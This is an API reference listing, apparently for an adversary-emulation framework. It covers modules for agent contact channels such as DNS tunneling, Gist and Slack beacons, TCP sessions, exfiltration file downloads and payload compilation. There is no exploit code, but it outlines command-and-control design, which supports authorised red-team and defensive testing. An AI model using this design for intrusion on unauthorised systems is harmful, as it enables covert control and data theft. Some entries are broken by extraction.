app.api.v2.schemas.caldera_info_schemas module
app.api.v2.schemas.config_schemas module
app.api.v2.schemas.deploy_command_schemas module
app.api.v2.schemas.error_schemas module
Submodules
app.api.v2.errors module
app.api.v2.responses module
app.api.v2.security module
app.api.v2.security.authentication_exempt(handler)
Mark the endpoint handler as not requiring authentication.
Note: This only applies when the authentication_required_middleware is being used.
app.api.v2.security.authentication_required_middleware_factory(auth_svc)
Enforce authentication on every endpoint within an web application.
Note: Any endpoint handler can opt-out of authentication using the @authentication_exempt decorator.
app.api.v2.security.is_handler_authentication_exempt(handler)
Return True if the endpoint handler is authentication exempt.
app.api.v2.validation module
app.api.v2.validation.check_not_empty_string(value, name=None)
app.api.v2.validation.check_positive_integer(value, name=None)
Module contents
app.api.v2.make_app(services)
Submodules
app.api.rest_api module
class app.api.rest_api.RestApi(services)
Bases: app.utility.base_world.BaseWorld
async download_exfil_file(**params)
async download_file(request)
async enable()
async landing(request)
async login(request)
async logout(request)
async rest_core(**params)
async rest_core_info(**params)
async upload_file(request)
async validate_login(request)
app.contacts namespace
Subpackages
app.contacts.handles namespace
Submodules
app.contacts.handles.h_beacon module
class app.contacts.handles.h_beacon.Handle(tag)
Bases: object
async static run(message, services, caller)
app.contacts.tunnels namespace
Submodules
app.contacts.tunnels.tunnel_ssh module
Returns A bool indicating if the specified password is valid for the user being authenticated
Raises PasswordChangeRequired if the password provided is expired and needs to be
changed
class app.contacts.tunnels.tunnel_ssh.Tunnel(services)
Bases: app.utility.base_world.BaseWorld
server_factory()
async start()
Submodules
app.contacts.contact_dns module
class app.contacts.contact_dns.Contact(services)
Bases: app.utility.base_world.BaseWorld
async start()
class app.contacts.contact_dns.DnsAnswerObj(record_type, dns_class, ttl, data)
Bases: object
get_bytes(byteorder='big')
class app.contacts.contact_dns.DnsPacket(transaction_id, flags, num_questions,
num_answer_rrs, num_auth_rrs,
num_additional_rrs, qname_labels, record_type,
dns_class)
Bases: object
authoritative_resp_flag = 1024
static generate_packet_from_bytes(data, byteorder='big')
get_opcode()
get_response_code()
has_standard_query()
is_query()
is_response()
opcode_mask = 30720
opcode_offset = 11
query_response_flag = 32768
recursion_available()
recursion_available_flag = 128
recursion_desired()
recursion_desired_flag = 256
response_code_mask = 15
truncated()
truncated_flag = 512
class app.contacts.contact_dns.DnsRecordType
Bases: enum.Enum
An enumeration.
A = 1
AAAA = 28
CNAME = 5
NS = 2
TXT = 16
class app.contacts.contact_dns.DnsResponse(transaction_id, flags, num_questions,
num_answer_rrs, num_auth_rrs,
num_additional_rrs, qname_labels,
record_type, dns_class, answers)
Bases: app.contacts.contact_dns.DnsPacket
default_ttl = 300
static generate_response_for_query(dns_query, r_code, answers, authoritative=True, re-
cursion_available=False, truncated=False)
Given DnsPacket query, return response with provided fields. Answers is list of DnsAnswerObj for the
given query.
get_bytes(byteorder='big')
max_ttl = 86400
max_txt_size = 255
min_ttl = 300
standard_pointer = 49164
class app.contacts.contact_dns.DnsResponseCodes
Bases: enum.Enum
An enumeration.
NXDOMAIN = 3
SUCCESS = 0
class app.contacts.contact_dns.Handler(domain, services, name)
Bases: asyncio.protocols.DatagramProtocol
class ClientRequestContext(request_id, dns_request, request_contents)
Bases: object
class FileUploadRequest(request_id, requesting_paw, directory, filename)
Bases: object
class MessageType
Bases: enum.Enum
An enumeration.
Beacon = 'be'
FileUploadData = 'ud'
FileUploadRequest = 'ur'
InstructionDownload = 'id'
PayloadDataDownload = 'pd'
PayloadFilenameDownload = 'pf'
PayloadRequest = 'pr'
class StoredResponse(data)
Bases: object
finished_reading()
read_data(num_bytes)
class TunneledMessage(message_id, message_type, num_chunks)
Bases: object
add_chunk(chunk_index, contents)
export_contents()
is_complete()
connection_made(transport)
Called when a connection is made.
The argument is the transport representing the pipe connection. To receive data, wait for data_received()
calls. When the connection is closed, connection_lost() is called.
datagram_received(data, addr)
Called when some datagram is received.
async generate_dns_tunneling_response_bytes(data)
app.contacts.contact_ftp module
class app.contacts.contact_ftp.Contact(services)
Bases: app.utility.base_world.BaseWorld
check_config()
async ftp_server_python_new()
async ftp_server_python_old()
set_up_server()
setup_ftp_users()
async start()
async stop()
class app.contacts.contact_ftp.FtpHandler(user, contact_svc, file_svc, logger, host, port,
username, password, user_dir)
Bases: aioftp.server.Server
async contact_caldera_server(profile)
async create_beacon_response(agent, instructions)
async get_payload_file(payload_dict)
async handle_agent_file(split_file_path, file_bytes)
async stor(connection, rest, mode='wb')
async submit_uploaded_file(paw, filename, data)
app.contacts.contact_gist module
class app.contacts.contact_gist.Contact(services)
Bases: app.utility.base_world.BaseWorld
class GistUpload(upload_id, filename, num_chunks)
Bases: object
add_chunk(chunk_index, contents)
export_contents()
is_complete()
VALID_TOKEN_FORMATS = ['^[a-fA-F0-9]{40,255}$', '^ghp_[A-Za-z0-9_]{36,251}$']
async get_beacons()
Retrieve all GIST beacons for a particular api token :return: the beacons
async get_results()
Retrieve all GIST posted results for a this C2’s api token :return:
async get_uploads()
Retrieve all GIST posted file uploads for this C2’s api token :return: list of (raw content, gist description,
gist filename) tuples for upload GISTs
async gist_operation_loop()
async handle_beacons(beacons)
Handles various beacons types (beacon and results)
async handle_uploads(upload_gist_info)
retrieve_config()
async start()
valid_config(token)
app.contacts.contact_gist.api_access(func)
app.contacts.contact_html module
class app.contacts.contact_html.Contact(services)
Bases: app.utility.base_world.BaseWorld
async start()
app.contacts.contact_http module
class app.contacts.contact_http.Contact(services)
Bases: app.utility.base_world.BaseWorld
async start()
app.contacts.contact_slack module
class app.contacts.contact_slack.Contact(services)
Bases: app.utility.base_world.BaseWorld
class SlackUpload(upload_id, filename, num_chunks)
Bases: object
add_chunk(chunk_index, contents)
export_contents()
is_complete()
async get_beacons()
Retrieve all SLACK beacons for a particular api key :return: the beacons
async get_results()
Retrieve all SLACK posted results for a this C2’s api key :return:
async get_uploads()
Retrieve all SLACK posted file uploads for this C2’s api key :return: list of (raw content, slack description,
slack filename) tuples for upload SLACKs
async handle_beacons(beacons)
Handles various beacons types (beacon and results)
async handle_uploads(upload_slack_info)
retrieve_config()
async slack_operation_loop()
async start()
async valid_config()
app.contacts.contact_slack.api_access(func)
app.contacts.contact_tcp module
class app.contacts.contact_tcp.Contact(services)
Bases: app.utility.base_world.BaseWorld
async operation_loop()
async start()
class app.contacts.contact_tcp.TcpSessionHandler(services, log)
Bases: app.utility.base_world.BaseWorld
async accept(reader, writer)
async refresh()
async send(session_id: int, cmd: str, timeout: int = 60) → Tuple[int, str, str, str]
app.contacts.contact_udp module
class app.contacts.contact_udp.Contact(services)
Bases: app.utility.base_world.BaseWorld
async start()
class app.contacts.contact_udp.Handler(services)
Bases: asyncio.protocols.DatagramProtocol
datagram_received(data, addr)
Called when some datagram is received.
app.contacts.contact_websocket module
class app.contacts.contact_websocket.Contact(services)
Bases: app.utility.base_world.BaseWorld
async start()
async stop()
class app.contacts.contact_websocket.Handler(services)
Bases: object
async handle(socket, path)
app.data_encoders namespace
Submodules
app.data_encoders.base64_basic module
class app.data_encoders.base64_basic.Base64Encoder
Bases: app.objects.c_data_encoder.DataEncoder
decode(encoded_data, **_)
Returns b64 decoded bytes.
encode(data, **_)
Returns base64 encoded data.
app.data_encoders.base64_basic.load()
app.data_encoders.plain_text module
class app.data_encoders.plain_text.PlainTextEncoder
Bases: app.objects.c_data_encoder.DataEncoder
decode(encoded_data, **_)
encode(data, **_)
app.data_encoders.plain_text.load()
app.learning namespace
Submodules
app.learning.p_ip module
class app.learning.p_ip.Parser
Bases: object
parse(blob)
app.learning.p_path module
class app.learning.p_path.Parser
Bases: object
parse(blob)
app.objects namespace
Subpackages
app.objects.interfaces namespace
Submodules
app.objects.interfaces.i_object module
class app.objects.interfaces.i_object.FirstClassObjectInterface
Bases: abc.ABC
abstract store(ram)
abstract property unique
app.objects.secondclass namespace
Submodules
app.objects.secondclass.c_executor module
app.objects.secondclass.c_fact module
Bases: marshmallow.schema.Schema
opts = <marshmallow.schema.SchemaOpts object>
class app.objects.secondclass.c_fact.OriginType
Bases: enum.Enum
An enumeration.
DOMAIN = 0
IMPORTED = 3
LEARNED = 2
SEEDED = 1
USER = 4
app.objects.secondclass.c_goal module
app.objects.secondclass.c_instruction module
app.objects.secondclass.c_link module
app.objects.secondclass.c_parser module
app.objects.secondclass.c_parserconfig module
app.objects.secondclass.c_relationship module
class app.objects.secondclass.c_relationship.RelationshipUpdateSchema(*,
only:
Union[Sequence[str],
Set[str]]
=
None,
ex-
clude:
Union[Sequence[str],
Set[str]]
= (),
many:
bool
=
False,
con-
text:
Dict
=
None,
load_only:
Union[Sequence[str],
Set[str]]
= (),
dump_only:
Union[Sequence[str],
Set[str]]
= (),
par-
tial:
Union[bool,
Se-
quence[str],
Set[str]]
=
False,
un-
known:
str =
None)
Bases: marshmallow.schema.Schema
opts = <marshmallow.schema.SchemaOpts object>
app.objects.secondclass.c_requirement module
app.objects.secondclass.c_result module
app.objects.secondclass.c_rule module
app.objects.secondclass.c_variation module
app.objects.secondclass.c_visibility module
class app.objects.secondclass.c_visibility.Visibility
Bases: app.utility.base_object.BaseObject
MAX_SCORE = 100
MIN_SCORE = 1
apply(adjustment)
property display
schema = <VisibilitySchema(many=False)>
property score
class app.objects.secondclass.c_visibility.VisibilitySchema(*, only:
Union[Sequence[str],
Set[str]] =
None, exclude:
Union[Sequence[str],
Set[str]] = (), many:
bool = False,
context: Dict =
None, load_only:
Union[Sequence[str],
Set[str]] = (),
dump_only:
Union[Sequence[str],
Set[str]] = (), par-
tial: Union[bool,
Sequence[str],
Set[str]] = False,
unknown: str =
None)
Bases: marshmallow.schema.Schema
build_visibility(data, **_)
opts = <marshmallow.schema.SchemaOpts object>
Submodules
app.objects.c_ability module
add_executor(executor)
Add executor to map
If the executor exists, delete the current entry and add the new executor to the bottom for FIFO
add_executors(executors)
Create executor map from list of executor objects
display_schema = <AbilitySchema(many=False)>
property executors
find_executor(name, platform)
find_executors(names, platform)
Find executors for matching platform/executor names
Only the first instance of a matching executor will be returned, as there should not be multiple execu-
tors matching a single platform/executor name pair.
Parameters
• names (list(str)) – Executors to search. ex: [‘psh’, ‘cmd’]
• platform (str) – Platform to search. ex: windows
Returns List of executors ordered based on ordering of names
Return type list(Executor)
remove_all_executors()
schema = <AbilitySchema(many=False)>
store(ram)
property unique
async which_plugin()
class app.objects.c_ability.AbilitySchema(*, only: Union[Sequence[str], Set[str]] = None,
exclude: Union[Sequence[str], Set[str]] = (),
many: bool = False, context: Dict = None,
load_only: Union[Sequence[str], Set[str]] = (),
dump_only: Union[Sequence[str], Set[str]] =
(), partial: Union[bool, Sequence[str], Set[str]]
= False, unknown: str = None)
Bases: marshmallow.schema.Schema
build_ability(data, **kwargs)
fix_id(data, **_)
opts = <marshmallow.schema.SchemaOpts object>
app.objects.c_adversary module
app.objects.c_agent module
assign_pending_executor_change()
Return the executor change dict and remove pending change to assign. :return: Dict representing the
executor change that is assigned. :rtype: dict(str, str)
async bootstrap(data_svc)
async calculate_sleep()
async capabilities(abilities)
Get abilities that the agent is capable of running :param abilities: List of abilities to check agent capability
:type abilities: List[Ability] :return: List of abilities the agents is capable of running :rtype: List[Ability]
async deadman(data_svc)
property display_name
property executor_change_to_assign
async get_preferred_executor(ability)
Get preferred executor for ability Will return None if the agent is not capable of running any executors
in the given ability. :param ability: Ability to get preferred executor for :type ability: Ability :return:
Preferred executor or None :rtype: Union[Executor, None]
async gui_modification(**kwargs)
async heartbeat_modification(**kwargs)
classmethod is_global_variable(variable)
async kill()
load_schema = <AgentSchema(many=False)>
privileged_to_run(ability)
replace(encoded_cmd, file_svc)
schema = <AgentSchema(many=False)>
set_pending_executor_path_update(executor_name, new_binary_path)
Mark specified executor to update its binary path to the new path. :param executor_name: name of executor
for agent to update binary path :type executor_name: str :param new_binary_path: new binary path for
executor to reference :type new_binary_path: str
set_pending_executor_removal(executor_name)
Mark specified executor to remove. :param executor_name: name of executor for agent to remove :type
executor_name: str
store(ram)
async task(abilities, obfuscator, facts=(), deadman=False)
property unique
class app.objects.c_agent.AgentFieldsSchema(*, only: Union[Sequence[str], Set[str]]
= None, exclude: Union[Sequence[str],
Set[str]] = (), many: bool = False,
context: Dict = None, load_only:
Union[Sequence[str], Set[str]] = (),
dump_only: Union[Sequence[str], Set[str]]
= (), partial: Union[bool, Sequence[str],
Set[str]] = False, unknown: str = None)
Bases: marshmallow.schema.Schema
opts = <marshmallow.schema.SchemaOpts object>
remove_nulls(in_data, **_)
remove_properties(data, **_)
class app.objects.c_agent.AgentSchema(*, only: Union[Sequence[str], Set[str]] = None,
exclude: Union[Sequence[str], Set[str]] = (),
many: bool = False, context: Dict = None,
load_only: Union[Sequence[str], Set[str]] = (),
dump_only: Union[Sequence[str], Set[str]] = (),
partial: Union[bool, Sequence[str], Set[str]] = False,
unknown: str = None)
Bases: app.objects.c_agent.AgentFieldsSchema
build_agent(data, **kwargs)
opts = <marshmallow.schema.SchemaOpts object>
app.objects.c_data_encoder module
app.objects.c_obfuscator module
app.objects.c_objective module
app.objects.c_operation module
exception app.objects.c_operation.InvalidOperationStateError
Bases: Exception
class app.objects.c_operation.Operation(name, adversary=None, agents=None,
id='', jitter='2/8', source=None, plan-
ner=None, state='running', autonomous=True,
obfuscator='plain-text', group=None,
auto_close=True, visibility=50, access=None,
use_learning_parsers=True)
Bases: app.objects.interfaces.i_object.FirstClassObjectInterface, app.
utility.base_object.BaseObject
EVENT_EXCHANGE = 'operation'
EVENT_QUEUE_COMPLETED = 'completed'
EVENT_QUEUE_STATE_CHANGED = 'state_changed'
class Reason
Bases: enum.Enum
An enumeration.
EXECUTOR = 1
FACT_DEPENDENCY = 2
OP_RUNNING = 4
PLATFORM = 0
PRIVILEGE = 3
UNTRUSTED = 5
class States
Bases: enum.Enum
An enumeration.
CLEANUP = 'cleanup'
FINISHED = 'finished'
OUT_OF_TIME = 'out_of_time'
PAUSED = 'paused'
RUNNING = 'running'
RUN_ONE_LINK = 'run_one_link'
async active_agents()
add_link(link)
async all_facts()
async all_relationships()
async apply(link)
async cede_control_to_planner(services)
async close(services)
async event_logs(file_svc, data_svc, output=False)
async get_active_agent_by_paw(paw)
classmethod get_finished_states()
async get_skipped_abilities_by_agent(data_svc)
classmethod get_states()
async has_fact(trait, value)
has_link(link_id)
async is_closeable()
async is_finished()
link_status()
ran_ability_id(ability_id)
async report(file_svc, data_svc, output=False)
async run(services)
schema = <OperationSchema(many=False)>
set_start_details()
property state
property states
store(ram)
property unique
async update_operation_agents(services)
async wait_for_completion()
async wait_for_links_completion(link_ids)
Wait for started links to be completed :param link_ids: :return: None
async write_event_logs_to_disk(file_svc, data_svc, output=False)
app.objects.c_planner module
app.objects.c_plugin module
app.objects.c_schedule module
app.objects.c_source module
app.service namespace
Subpackages
app.service.interfaces namespace
Submodules
app.service.interfaces.i_app_svc module
class app.service.interfaces.i_app_svc.AppServiceInterface
Bases: abc.ABC
abstract find_link(unique)
Locate a given link by its unique property :param unique: :return:
abstract find_op_with_link(link_id)
Locate an operation with the given link ID :param link_id: :return: Operation or None
abstract load_plugin_expansions(plugins)
abstract load_plugins(plugins)
Store all plugins in the data store :return:
abstract register_contacts()
abstract resume_operations()
Resume all unfinished operations :return: None
abstract retrieve_compiled_file(name, platform, location='')
abstract run_scheduler()
Kick off all scheduled jobs, as their schedule determines :return:
abstract start_sniffer_untrusted_agents()
Cyclic function that repeatedly checks if there are agents to be marked as untrusted :return: None
abstract teardown()
app.service.interfaces.i_auth_svc module
class app.service.interfaces.i_auth_svc.AuthServiceInterface
Bases: abc.ABC
abstract apply(app, users)
Set up security on server boot :param app: :param users: :return: None
abstract check_permissions(group, request)
Check if a request is allowed based on the user permissions :param group: :param request: :return: None
abstract get_permissions(request)
abstract login_user(request)
Kick off all scheduled jobs, as their schedule determines :return:
abstract static logout_user(request)
Log the user out :param request: :return: None
app.service.interfaces.i_contact_svc module
class app.service.interfaces.i_contact_svc.ContactServiceInterface
Bases: abc.ABC
abstract build_filename()
abstract handle_heartbeat()
Accept all components of an agent profile and save a new agent or register an updated heartbeat. :return:
the agent object, instructions to execute
abstract register_contact(contact)
abstract register_tunnel(tunnel)
app.service.interfaces.i_data_svc module
class app.service.interfaces.i_data_svc.DataServiceInterface
Bases: app.service.interfaces.i_object_svc.ObjectServiceInterface
abstract apply(collection)
Add a new collection to RAM
Parameters collection –
Returns
abstract load_data(plugins)
Non-blocking read all the data sources to populate the object store
Returns None
abstract locate(object_name, match)
Find all c_objects which match a search. Return all c_objects if no match.
Parameters
• object_name –
• match – dict()
Returns a list of c_object types
abstract reload_data(plugins)
Blocking read all the data sources to populate the object store
Returns None
abstract remove(object_name, match)
Remove any c_objects which match a search
Parameters
• object_name –
• match – dict()
Returns
abstract store(c_object)
Accept any c_object type and store it (create/update) in RAM
Parameters c_object –
Returns a single c_object
app.service.interfaces.i_event_svc module
class app.service.interfaces.i_event_svc.EventServiceInterface
Bases: abc.ABC
abstract fire_event(event, **callback_kwargs)
Fire an event :param event: The event topic and (optional) subtopic, separated by a ‘/’ :param call-
back_kwargs: Any additional parameters to pass to the event handler :return: None
abstract observe_event(event, callback)
Register an event handler :param event: The event topic and (optional) subtopic, separated by a ‘/’ :param
callback: The function that will handle the event :return: None
app.service.interfaces.i_file_svc module
class app.service.interfaces.i_file_svc.FileServiceInterface
Bases: abc.ABC
abstract add_special_payload(name, func)
Call a special function when specific payloads are downloaded :param name: :param func: :return:
abstract compile_go(platform, output, src_fle, arch, ldflags, cflags, buildmode, build_dir, loop)
Dynamically compile a go file :param platform: :param output: :param src_fle: :param arch: Compile
architecture selection (defaults to AMD64) :param ldflags: A string of ldflags to use when building the go
executable :param cflags: A string of CFLAGS to pass to the go compiler :param buildmode: GO compiler
buildmode flag :param build_dir: The path to build should take place in :return:
abstract create_exfil_sub_directory(dir_name)
abstract find_file_path(name, location)
Find the location on disk of a file by name. :param name: :param location: :return: a tuple: the plugin the
file is found in & the relative file path
abstract get_file(headers)
Retrieve file :param headers: headers dictionary. The file key is REQUIRED. :type headers: dict or dict-
equivalent :return: File contents and optionally a display_name if the payload is a special payload :raises:
KeyError if file key is not provided, FileNotFoundError if file cannot be found
abstract get_payload_name_from_uuid(payload)
abstract read_file(name, location)
Open a file and read the contents :param name: :param location: :return: a tuple (file_path, contents)
abstract read_result_file(link_id, location)
Read a result file. If file encryption is enabled, this method will return the plaintext content. :param link_id:
The id of the link to return results from. :param location: The path to results directory. :return:
abstract save_file(filename, payload, target_dir)
abstract save_multipart_file_upload(request, target_dir)
Accept a multipart file via HTTP and save it to the server :param request: :param target_dir: The path of
the directory to save the uploaded file to.
abstract write_result_file(link_id, output, location)
Writes the results of a link execution to disk. If file encryption is enabled, the results file will contain
ciphertext. :param link_id: The link id of the result being written. :param output: The content of the link’s
output. :param location: The path to the results directory. :return:
app.service.interfaces.i_knowledge_svc module
class app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
Bases: app.service.interfaces.i_object_svc.ObjectServiceInterface
abstract async add_fact(fact, constraints=None)
Add a fact to the internal store
Parameters
• fact – Fact to add
• constraints – any potential constraints
abstract async add_relationship(relationship, constraints=None)
Add a relationship to the internal store
Parameters
• relationship – Relationship object to add
• constraints – optional constraints on the use of the relationship
abstract async add_rule(rule, constraints=None)
Add a rule to the internal store
Parameters
• rule – Rule object to add
• constraints – dictionary containing fields to match on
abstract async check_fact_exists(fact, listing=None)
Check to see if a fact already exists in the knowledge store, or if a listing is provided, in said listing
Parameters
• fact – The fact to check for
• listing – Optional specific listing to examine
Returns Bool indicating whether or not the fact is already present
app.service.interfaces.i_learning_svc module
class app.service.interfaces.i_learning_svc.LearningServiceInterface
Bases: abc.ABC
abstract static add_parsers(directory)
abstract build_model()
The model is a static set of all variables used inside all ability commands This can be used to determine
which facts - when found together - are more likely to be used together :return:
abstract learn(facts, link, blob)
app.service.interfaces.i_login_handler module
class app.service.interfaces.i_login_handler.LoginHandlerInterface(services,
name)
Bases: abc.ABC, app.utility.base_object.BaseObject
abstract async handle_login(request, **kwargs)
Handle login request
Parameters request –
Returns the response/location of where the user is trying to navigate
Raises HTTP exception, such as HTTPFound for redirect, or HTTPUnauthorized
abstract async handle_login_redirect(request, **kwargs)
Handle redirect to login
Parameters request –
Returns the response/location of where the user is trying to navigate
Raises HTTP exception, such as HTTPFound for redirect, or HTTPUnauthorized
property name
app.service.interfaces.i_object_svc module
class app.service.interfaces.i_object_svc.ObjectServiceInterface
Bases: abc.ABC
abstract static destroy()
Clear out all data :return:
abstract restore_state()
Load data from disk :return:
abstract save_state()
Save stored data to disk :return:
app.service.interfaces.i_planning_svc module
class app.service.interfaces.i_planning_svc.PlanningServiceInterface
Bases: abc.ABC
abstract generate_and_trim_links(agent, operation, abilities, trim)
abstract get_cleanup_links(operation, agent)
For a given operation, create all cleanup links. If agent is supplied, only return cleanup links for that agent.
:param operation: :param agent: :return: None
abstract get_links(operation, buckets, agent, trim)
For an operation and agent combination, create links (that can be executed). When no agent is sup-
plied, links for all agents are returned :param operation: :param buckets: :param agent: :param trim: call
trim_links() on list of links before returning :return: a list of links
abstract static sort_links(self, links)
Sort links by their score then by the order they are defined in an adversary profile
app.service.interfaces.i_rest_svc module
class app.service.interfaces.i_rest_svc.RestServiceInterface
Bases: abc.ABC
abstract apply_potential_link(link)
abstract construct_agents_for_group(group)
abstract create_operation(access, data)
abstract create_schedule(access, data)
abstract delete_ability(data)
abstract delete_adversary(data)
abstract delete_agent(data)
abstract delete_operation(data)
abstract display_objects(object_name, data)
abstract display_operation_report(data)
abstract display_result(data)
abstract download_contact_report(contact)
abstract find_abilities(paw)
abstract get_link_pin(json_data)
abstract get_potential_links(op_id, paw)
abstract list_payloads()
abstract persist_ability(access, data)
abstract persist_adversary(access, data)
Save a new adversary from either the GUI or REST API. This writes a new YML file into the core data/
directory. :param access :param data: :return: the ID of the created adversary
abstract persist_source(access, data)
abstract task_agent_with_ability(paw, ability_id, obfuscator, facts)
abstract update_agent_data(data)
abstract update_chain_data(data)
abstract update_config(data)
abstract update_operation(op_id, state, autonomous)
abstract update_planner(data)
Update a new planner from either the GUI or REST API with new stopping conditions. This overwrites
the existing YML file. :param data: :return: the ID of the created adversary
app.service.login_handlers namespace
Submodules
app.service.login_handlers.default module
class app.service.login_handlers.default.DefaultLoginHandler(services)
Bases: app.service.interfaces.i_login_handler.LoginHandlerInterface
async handle_login(request, **kwargs)
Handle login request
Parameters request –
Returns the response/location of where the user is trying to navigate
Raises HTTP exception, such as HTTPFound for redirect, or HTTPUnauthorized
async handle_login_redirect(request, **kwargs)
Handle login redirect.
Returns login.html template if use_template is set to True in kwargs.
Raises web.HTTPFound – HTTPFound exception to redirect to the ‘/login’ page if
use_template is set to False or not included in kwargs.
Submodules
app.service.app_svc module
class app.service.app_svc.AppService(application)
Bases: app.service.interfaces.i_app_svc.AppServiceInterface, app.utility.
base_service.BaseService
property errors
async find_link(unique)
Locate a given link by its unique property :param unique: :return:
async find_op_with_link(link_id)
Retrieves the operation that a link_id belongs to. Will search currently running operations first.
get_loaded_plugins()
async load_plugin_expansions(plugins=())
async load_plugins(plugins)
Store all plugins in the data store :return:
async register_contact_tunnels(contact_svc)
async register_contacts()
register_subapp(path: str, app: aiohttp.web_app.Application)
Registers a web application under the root application.
Requests under path will be routed to this app.
async resume_operations()
Resume all unfinished operations :return: None
async retrieve_compiled_file(name, platform, location='')
async run_scheduler()
Kick off all scheduled jobs, as their schedule determines :return:
async start_sniffer_untrusted_agents()
Cyclic function that repeatedly checks if there are agents to be marked as untrusted :return: None
async teardown(main_config_file='default')
async validate_requirement(requirement, params)
async validate_requirements()
async watch_ability_files()
class app.service.app_svc.Error(name, msg)
Bases: tuple
property msg
Alias for field number 1
property name
Alias for field number 0
app.service.auth_svc module
class app.service.auth_svc.AuthService
Bases: app.service.interfaces.i_auth_svc.AuthServiceInterface, app.utility.
base_service.BaseService
class User(username, password, permissions)
Bases: tuple
property password
Alias for field number 1
property permissions
Alias for field number 2
property username
Alias for field number 0
async apply(app, users)
Set up security on server boot :param app: :param users: :return: None
async check_permissions(group, request)
Check if a request is allowed based on the user permissions :param group: :param request: :return: None
async authorized_userid(identity)
Retrieve authorized user id. Return the user_id of the user identified by the identity or ‘None’ if no user
exists related to the identity.
async permits(identity, permission, context=None)
Check user permissions. Return True if the identity is allowed the permission in the current context, else
return False.
app.service.auth_svc.check_authorization(func)
Authorization Decorator This requires that the calling class have self.auth_svc set to the authentication service.
app.service.auth_svc.for_all_public_methods(decorator)
class decorator – adds decorator to all public methods
app.service.contact_svc module
class app.service.contact_svc.ContactService
Bases: app.service.interfaces.i_contact_svc.ContactServiceInterface, app.
utility.base_service.BaseService
async build_filename()
async deregister_contacts()
async get_contact(name)
async get_tunnel(name)
async handle_heartbeat(**kwargs)
async register_contact(contact)
async register_tunnel(tunnel)
app.service.contact_svc.report(func)
app.service.data_svc module
class app.service.data_svc.DataService
Bases: app.service.interfaces.i_data_svc.DataServiceInterface, app.utility.
base_service.BaseService
async apply(collection)
Add a new collection to RAM
Parameters collection –
Returns
async convert_v0_ability_executor(ability_data: dict)
Checks if ability file follows v0 executor format, otherwise assumes v1 ability formatting.
async convert_v0_ability_requirements(requirements_data: list)
Checks if ability file follows v0 requirement format, otherwise assumes v1 ability formatting.
convert_v0_ability_technique_id(ability_data: dict)
Checks if ability file follows v0 technique_id format, otherwise assumes v1 ability formatting.
convert_v0_ability_technique_name(ability_data: dict)
Checks if ability file follows v0 technique_name format, otherwise assumes v1 ability formatting.
app.service.event_svc module
class app.service.event_svc.EventService
Bases: app.service.interfaces.i_event_svc.EventServiceInterface, app.utility.
base_service.BaseService
async fire_event(exchange=None, queue=None, timestamp=True, **callback_kwargs)
Fire an event :param event: The event topic and (optional) subtopic, separated by a ‘/’ :param call-
back_kwargs: Any additional parameters to pass to the event handler :return: None
async handle_exceptions(awaitable)
async notify_global_event_listeners(event, **callback_kwargs)
Notify all registered global event listeners when an event is fired.
Parameters event (str) – Event string (i.e. ‘<exchange>/<queue>’)
async observe_event(callback, exchange=None, queue=None)
Register a callback for a certain event. Callback is fired when an event of that type is observed.
Parameters
• callback (function) – Callback function
• exchange (str) – event exchange
• queue (str) – event queue
async register_global_event_listener(callback)
Register a global event listener that is fired when any event is fired.
Parameters callback (function) – Callback function
app.service.file_svc module
class app.service.file_svc.FileSvc
Bases: app.service.interfaces.i_file_svc.FileServiceInterface, app.utility.
base_service.BaseService
async add_special_payload(name, func)
Call a special function when specific payloads are downloaded
Parameters
• name –
• func –
Returns
static add_xored_extension(filename)
async compile_go(platform, output, src_fle, arch='amd64', ldflags='-s -w', cflags='', buildmode='',
build_dir='.', loop=None)
Dynamically compile a go file :param platform: :param output: :param src_fle: :param arch: Compile
architecture selection (defaults to AMD64) :param ldflags: A string of ldflags to use when building the go
executable :param cflags: A string of CFLAGS to pass to the go compiler :param buildmode: GO compiler
buildmode flag :param build_dir: The path to build should take place in :return:
async create_exfil_sub_directory(dir_name)
app.service.knowledge_svc module
class app.service.knowledge_svc.KnowledgeService
Bases: app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface, app.
utility.base_service.BaseService
async add_fact(fact, constraints=None)
Add a fact to the internal store
Parameters
• fact – Fact to add
• constraints – any potential constraints
async add_relationship(relationship, constraints=None)
Add a relationship to the internal store
Parameters
• relationship – Relationship object to add
• constraints – optional constraints on the use of the relationship
async restore_state()
Load data from disk :return:
async save_state()
Save stored data to disk :return:
async update_fact(criteria, updates)
Update a fact in the internal store
Parameters
• criteria – dictionary containing fields to match on
• updates – dictionary containing fields to replace
async update_relationship(criteria, updates)
Update a relationship in the internal store
Parameters
• criteria – dictionary containing fields to match on
• updates – dictionary containing fields to modify
app.service.learning_svc module
class app.service.learning_svc.LearningService
Bases: app.service.interfaces.i_learning_svc.LearningServiceInterface, app.
utility.base_service.BaseService
static add_parsers(directory)
async build_model()
The model is a static set of all variables used inside all ability commands This can be used to determine
which facts - when found together - are more likely to be used together :return:
async learn(facts, link, blob, operation=None)
app.service.planning_svc module
class app.service.planning_svc.PlanningService(global_variable_owners=None)
Bases: app.service.interfaces.i_planning_svc.PlanningServiceInterface, app.
utility.base_planning_svc.BasePlanningService
async add_ability_to_bucket(ability, bucket)
Adds bucket tag to ability
Parameters
• ability (Ability) – Ability to add bucket to
• bucket (string) – Bucket to add to ability
async check_stopping_conditions(stopping_conditions, operation)
Check operation facts against stopping conditions
Checks whether an operation has collected the at least one of the facts required to stop the planner. Opera-
tion facts are checked against the list of facts provided by the stopping conditions. Facts will be validated
based on the unique property, which is a combination of the fact trait and value.
Parameters
one at a time, and wait for each to complete. Will check if operation has been stopped (by
user) after each single link is completed. Defaults to False
• condition_stop (bool, optional) – Enable stopping of execution if stopping
conditions are met. If set to False, the bucket will continue execution even if stopping
conditions are met. defaults to True
async generate_and_trim_links(agent, operation, abilities, trim=True)
Generate new links based on abilities
Creates new links based on given operation, agent, and abilities. Optionally, trim links using trim_links()
to return only valid links with completed facts.
Parameters
• operation (Operation) – Operation to generate links on
• agent (Agent) – Agent to generate links on
• abilities (list(Ability)) – Abilities to generate links for
• trim (bool, optional) – call trim_links() on list of links before returning, defaults
to True
Returns A list of links
Return type list(Links)
async get_cleanup_links(operation, agent=None)
Generate cleanup links
Generates cleanup links for given operation and agent. If no agent is provided, cleanup links will be
generated for all agents in an operation.
Parameters
• operation (Operation) – Operation to generate links on
• agent (Agent, optional) – Agent to generate links on, defaults to None
Returns a list of links
async get_links(operation, buckets=None, agent=None, trim=True)
Generate links for use in an operation
For an operation and agent combination, create links (that can be executed). When no agent is supplied,
links for all agents are returned.
Parameters
• operation (Operation) – Operation to generate links for
• buckets (list(string), optional) – Buckets containing abilities. If ‘None’,
